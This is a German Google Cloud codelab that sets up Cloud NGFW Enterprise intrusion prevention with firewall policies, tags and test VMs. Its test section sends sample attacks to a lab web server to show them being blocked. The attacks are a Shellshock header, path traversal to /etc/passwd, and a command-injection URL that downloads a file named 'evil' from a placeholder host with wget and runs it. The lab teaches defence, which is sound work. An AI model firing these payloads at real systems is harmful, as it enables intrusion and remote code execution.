Cloud NGFW Enterprise – Intrusion Prevention Service (ohne TLS-Prüfung)

1. Einführung

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.

Cloud NGFW bietet folgende Vorteile:

  • Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
  • Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten der Ressourcenhierarchie angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
  • Granulare Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.

Cloud NGFW ist in den folgenden Stufen verfügbar:

Cloud NGFW Enterprise

Cloud NGFW Enterprise fügt dem verteilten Google Cloud-Firewall-Fabric das Intrusion Prevention System (IPS) hinzu, eine Layer 7-Funktion. Die TLS-Prüfung wird unterstützt, um die Prüfung von TLS-verschlüsseltem Traffic zu ermöglichen. Sie fällt jedoch nicht in den Rahmen dieses Codelabs. Weitere Informationen finden Sie im Cloud NGFW Enterprise-Codelab mit TLS-Prüfung.

Sie können jetzt zuverlässige Layer 7-NGFW-Prüfungen (Next Generation Firewall) mit detaillierten Steuerelementen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Ihren Routingkonfigurationen vorzunehmen.

Um die Layer 7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen, müssen Sie die folgenden Aufgaben ausführen:

  • Erstellen Sie eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten.
  • Optional eine TLS-Prüfungsrichtlinie erstellen (wird in diesem Codelab nicht behandelt)
  • Optional: Vertrauenskonfiguration erstellen (wird in diesem Codelab nicht behandelt)
  • Ordnen Sie diese Endpunkte den VPC-Netzwerken (Virtual Private Cloud) zu, in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
  • Nehmen Sie einfache Änderungen an Ihren vorhandenen Firewallrichtlinien und Firewallregeln vor, um die Profile zur Bedrohungsabwehr für die verschiedenen Traffic-Pfade anzugeben.

Netzwerk-Firewallrichtlinien

Eine Netzwerk-Firewallrichtlinie dient als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden nirgendwo erzwungen, bis die Richtlinie mit einem VPC-Netzwerk verknüpft ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-verwaltete Tags (oder einfach Tags) in Firewallregeln. Diese ersetzen die aktuellen Netzwerktags und können verwendet werden, um Workloads eine Identität zuzuweisen.

Die gemeinsame Nutzung einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Integration mit IAM-verwalteten Tags vereinfachen die Konfiguration und Verwaltung von Firewalls erheblich.

Mit der Einführung von Netzwerk-Firewallrichtlinien bestehen die Firewallrichtlinien von Google Cloud jetzt aus den folgenden Komponenten:

  1. Hierarchische Firewallrichtlinie
  2. VPC-Firewallregeln
  3. Netzwerk-Firewallrichtlinie ( global und regional)

Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten in der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien unter anderem an eine einzelne VPC oder eine Gruppe von VPCs angehängt werden können. Außerdem bieten sie Vorteile wie Batch-Updates.

Schließlich gibt es auch die implizierten Firewallregeln, die in jedem VPC-Netzwerk enthalten sind:

  • Eine Regel für ausgehenden Traffic, deren Aktion „allow“ und deren Ziel „0.0.0.0/0“ ist.
  • Eine Regel für eingehenden Traffic mit der Aktion „deny“ und der Quelle „0.0.0.0/0“

Standardmäßig wird die Durchsetzungssequenz im folgenden Diagramm dargestellt:

21b3bcabc469ffe.png

Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann getauscht werden. Kunden können die Reihenfolge der Erzwingung jederzeit mit einem gcloud-Befehl angeben.

Von IAM verwaltete Tags

Die neuen in Netzwerk-Firewallrichtlinienregeln integrierten Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf der Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält, wie der Name schon sagt, eine IAM-Zugriffssteuerung, die angibt, wer was mit dem Tag tun kann. Mit IAM-Berechtigungen können Sie zum Beispiel angeben, welche Hauptkonten den Tags Werte zuweisen können und welche Hauptkonten Tags an Ressourcen anhängen können. Nachdem ein Tag auf eine Ressource angewendet wurde, können Netzwerk-Firewallregeln es verwenden, um Traffic zuzulassen oder abzulehnen.

Tags entsprechen dem Übernahmeressourcenmodell von Google Cloud. Das bedeutet, dass Tags und ihre Werte in der Hierarchie von oben nach unten übergeben werden. Daher können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Auf dieser Seite finden Sie weitere Informationen zu Tags und Zugriffsbeschränkungen.

Tags sollten nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die zu Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen betrachtet werden, unterliegen sie nicht der IAM-Zugriffssteuerung.

Hinweis: In diesem Dokument werden „Tags“ und „IAM-gesteuerte Tags“ austauschbar verwendet.

Umfang

Für dieses Codelab ist ein einzelnes Projekt erforderlich, in dem ein VPC-Netzwerk mit öffentlicher Verbindung erstellt werden kann. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann:

  • Intra-VPC-/Subnetz-Flüsse prüfen [Ost-West]
  • Eingehende Datenflüsse aus dem Internet prüfen [Nord-Süd]

Die zu untersuchenden Flüsse werden anhand von Cloud Firewall-Abgleichsparametern ausgewählt, darunter 5-Tupel (Quell-IP-Adresse, Ziel-IP-Adresse, Protokoll, Quellport, Zielport) und Tags. Die TLS-Prüfung ist in diesem Codelab nicht enthalten.

52a0642ef8668ecf.png

Die Regelbasis für Netzwerk-Firewallrichtlinien sieht in etwa so aus:

Priorität

Richtung

Target

Quelle

Ziel

Aktion

Typ

100

Ausgehender Traffic

Quarantine_Tag

Alle

Alle

Ablehnen

Essentials

1000

Eingehender Traffic

Server_Tag

Bereiche der Systemdiagnose

Alle

Zulassen

Essentials

2000

Eingehender Traffic

Alle

Identity-Aware Proxy-Bereiche

Alle

Zulassen

Essentials

3000

Eingehender Traffic

Alle

Geo, GCTI

Alle

Ablehnen

Standard

4000

Ausgehender Traffic

Alle

Alle

Geo, GCTI

Ablehnen

Standard

5000

Ausgehender Traffic

Alle

Alle

FQDNs für Systemupdates

Zulassen

Standard

6000

Eingehender Traffic

Server_Tag

10.0.0.0/24

Alle

IPS

Unternehmen

7000

Eingehender Traffic

Server_Tag

CloudNAT_IP

Alle

IPS

Unternehmen

Lerninhalte

Voraussetzungen

  • Google Cloud-Projekt
  • Kenntnisse in der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten
  • Kenntnisse der VPC-Firewallkonfiguration

2. Hinweis

Variablen erstellen/aktualisieren

In diesem Codelab werden $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu erleichtern.

Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf. Überspringen Sie das Festlegen des Projekts, wenn das gewünschte Projekt bereits festgelegt ist. Für Ressourcen auf Organisationsebene wird eine andere Variable verwendet, wenn mehrere Firewall-Endpunkte erforderlich sind.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. APIs aktivieren

Aktivieren Sie die APIs, falls Sie dies noch nicht getan haben:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise-Sicherheitsprofil und Endpunkt erstellen

Da die Erstellung des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Grundeinrichtung kann parallel erfolgen.

Sicherheitsprofil und Sicherheitsprofilgruppe erstellen:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Erwartete Ausgabe:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Cloud NGFW Enterprise-Endpunkt erstellen:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Die Erstellung des Endpunkts dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundeinrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.

5. Grundeinrichtung

Fahren Sie mit den folgenden Abschnitten fort, wenn Sie die Basisressourcen lieber manuell erstellen möchten.

VPC-Netzwerk und ‑Subnetz

VPC-Netzwerk und Subnetz

VPC-Netzwerk und Subnetz erstellen:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Erstellen Sie die Cloud Router und Cloud NAT-Gateways:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Erstellen Sie die Client- und Webserverinstanzen:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tags auf Projektebene

Weisen Sie dem Nutzer bei Bedarf die Berechtigungen „tagAdmin“ und/oder „tagUser“ zu:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Erstellen Sie den Tag-Schlüssel und die Werte auf Projektebene:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Tags an Instanzen binden:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globale Netzwerk-Firewallrichtlinie

Globale Netzwerk-Firewallrichtlinie erstellen:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Erstellen Sie Cloud Firewall Essential-Regeln, um Traffic von unter Quarantäne gestellten Instanzen abzulehnen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet) und Traffic von den Bereichen health-check und identity-aware proxy zuzulassen:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Erstellen Sie Cloud Firewall Standard-Regeln, um eingehenden und ausgehenden Traffic von/zu Ländern mit Embargo, bekannten schädlichen IP-Adressen und ToR-Exit-Knoten zu blockieren und nur ausgehenden Traffic zu bestimmten FQDNs für Systemupdates zuzulassen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Erstellen Sie Cloud Firewall-Regeln, um eingehenden East-West-Traffic (intra-subnet) und North-South-Traffic (Internet) aus den angegebenen Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise zu aktivieren:

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Verknüpfen Sie die Netzwerk-Firewallrichtlinie mit dem VPC-Netzwerk:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Externer TCP/UDP-Netzwerk-Load-Balancer

Reservieren Sie eine externe IP-Adresse und erstellen Sie die Instanzgruppe und die Systemdiagnose:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Erstellen Sie einen Backend-Dienst und eine Weiterleitungsregel:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise-Endpunktverknüpfung

Definieren Sie die Umgebungsvariablen bei Bedarf neu.

Prüfen Sie, ob die Erstellung des Cloud Firewall-Endpunkts erfolgreich abgeschlossen wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird. Während der Erstellung ist der erwartete Status CREATING:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Verknüpfen Sie den Cloud NGFW Enterprise-Endpunkt mit dem VPC-Netzwerk:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird. Während des Erstellungsprozesses ist der erwartete Status CREATING:

gcloud network-security firewall-endpoint-associations list

Erwartete Ausgabe:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Optional können Sie den folgenden Befehl ausführen, um weitere Details zu erhalten:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Erwartete Ausgabe:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW Enterprise-Prüfregeln

Öffnen Sie einen neuen Tab und stellen Sie über IAP eine SSH-Verbindung zur Client-VM her. Sie müssen die Variablen auf dem neuen Tab noch einmal definieren:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Definieren Sie die erforderlichen Variablen in der SSH-Sitzung und legen Sie die Variablen fest. Achten Sie darauf, dass die Werte korrekt sind:

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Führen Sie für beide IPs den folgenden curl-Befehl aus, um zu prüfen, ob sie erreichbar sind:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Erwartetes Ergebnis für beide curl-Anfragen:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Senden Sie Beispielangriffe an die interne Server-IP-Adresse (Ost-West-Traffic / Intra-VPC-Traffic). Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention erfolgt:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Senden Sie die Beispielangriffe über Cloud NAT (Nord-Süd-Eingangstraffic) noch einmal an die externe Server-IP und der Webserver sollte auf alle Anfragen antworten:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Erwartete Ergebnisse für öffentliche und private IP-Adressen:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Wechseln Sie zurück zu Cloud Shell und aktualisieren Sie die vorhandenen Ingress-Regeln, um die L7-Prüfung zu aktivieren:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Beschreiben Sie optional die Firewallregeln, um zu prüfen, ob beide erfolgreich aktualisiert wurden:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Erwartete Ausgabe:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regel 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Erwartete Ausgabe:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Wechseln Sie zurück zur Client-VM und senden Sie die Beispielangriffe noch einmal an die interne Server-IP-Adresse (East-West-/Intra-VPC-Prüfung):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Senden Sie die Beispielangriffe noch einmal über Cloud NAT an die externe Server-IP-Adresse (North-South-Eingangsüberprüfung):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Für die ersten Angriffe werden keine Antworten empfangen, wie in der erwarteten Ausgabe unten zu sehen ist. Das bestätigt, dass die Angriffe mit hohem Schweregrad jetzt blockiert werden.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Rufen Sie in der Cloud Console „Netzwerksicherheit“ > „Bedrohungen“ auf, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite einige Male aktualisieren, wenn die Angriffe noch nicht angezeigt werden.

daa535fcc34873aa.png

Wählen Sie einen der Angriffe aus und klicken Sie rechts auf „Prüfprotokoll ansehen“ (in einem neuen Tab öffnen, um einfach zurückwechseln zu können). Maximieren Sie den Angriff, um die Details aufzurufen:

5f97cdef79e42eff.png

Optional können Sie den Log-Explorer-Filter durch die folgende Abfrage ersetzen:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Bedrohungslogeinträge sollten wie unten dargestellt angezeigt werden:

5ea9581a7eb694c5.png

Mit dem folgenden Log-Explorer-Filter können Sie prüfen, ob Cloud Firewall Pakete abgefangen hat (hilfreich zur Fehlerbehebung):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Fahren Sie mit der Überprüfung des Internet-Traffics (optional) fort oder schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Kapitel fort, um die Bereinigungsschritte auszuführen.

[Optional] Internet-Traffic-Prüfung

